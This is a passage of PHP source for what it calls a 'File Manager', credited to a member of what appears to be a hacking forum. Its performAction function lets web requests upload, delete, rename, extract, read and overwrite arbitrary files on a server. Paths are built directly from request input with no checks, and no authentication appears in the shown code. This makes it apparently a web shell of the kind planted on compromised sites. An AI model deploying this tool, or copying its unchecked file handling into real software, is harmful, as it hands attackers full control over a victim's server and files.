by FRANKLIN! - https://bhf.pro/members/306184
';
echo '
';
echo '';
}
function performAction($action, $file, $new_name, $dir, $upload_files, $upload_files_names, $destination, $new_folder, $new_file, $selected_files, &$message, &$file_content, &$copy_file)
{
switch ($action) {
case 'upload':
for ($i = 0; $i < count($upload_files); $i++) {
if (move_uploaded_file($upload_files[$i], $dir . '/' . $upload_files_names[$i])) {
$message = "File(s) uploaded successfully.";
} else {
$message = "Failed to upload file(s).";
}
}
break;
case 'delete':
if (unlink($dir . '/' . $file)) {
$message = "File deleted successfully.";
} else {
$message = "Failed to delete file.";
}
break;
case 'rename':
if (rename($dir . '/' . $file, $dir . '/' . $new_name)) {
$message = "File renamed successfully.";
} else {
$message = "Failed to rename file.";
}
break;
case 'unzip':
if (preg_match('/\.zip$/i', $file)) {
$zip = new ZipArchive;
if ($zip->open($dir . '/' . $file) === TRUE) {
$zip->extractTo($dir);
$zip->close();
$message = "File unzipped successfully.";
} else {
$message = "Failed to unzip file.";
}
} elseif (preg_match('/\.rar$/i', $file)) {
$rar_file = rar_open($dir . '/' . $file);
if ($rar_file !== FALSE) {
$entries = rar_list($rar_file);
foreach ($entries as $entry) {
$entry->extract($dir);
}
rar_close($rar_file);
$message = "File unrared successfully.";
} else {
$message = "Failed to unrar file.";
}
}
break;
case 'new_folder':
if (mkdir($dir . '/' . $new_folder)) {
$message = "Folder created successfully.";
} else {
$message = "Failed to create folder.";
}
break;
case 'new_file':
if (file_put_contents($dir . '/' . $new_file, '') !== false) {
$message = "File created successfully.";
} else {
$message = "Failed to create file.";
}
break;
case 'edit':
if (file_exists($dir . '/' . $file)) {
$file_content = file_get_contents($dir . '/' . $file);
} else {
$message = "File does not exist.";
}
break;
case 'save':
if (file_put_contents($dir . '/' . $file, $file_content) !== false) {
$message = "File saved successfully.";
} else {
$message = "Failed to save file.";
}
break;
}
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['file_content'])) {
$file_content = $_POST['file_content'];
}
performAction($action, $file, $new_name, $dir, $upload_files, $upload_files_names, $destination, $new_folder, $new_file, $selected_files, $message, $file_content, $copy_file);
}
function breadcrumb($dir) {
$parts = explode('/', $dir);
$breadcrumb = '
';
$path = '';
foreach ($parts as $part) {
if ($part === '') continue;
$path .= '/' . $part;
$breadcrumb .= '- ' . htmlspecialchars($part) . '
';
}
$breadcrumb .= '
';
echo $breadcrumb;
}
?>
File Manager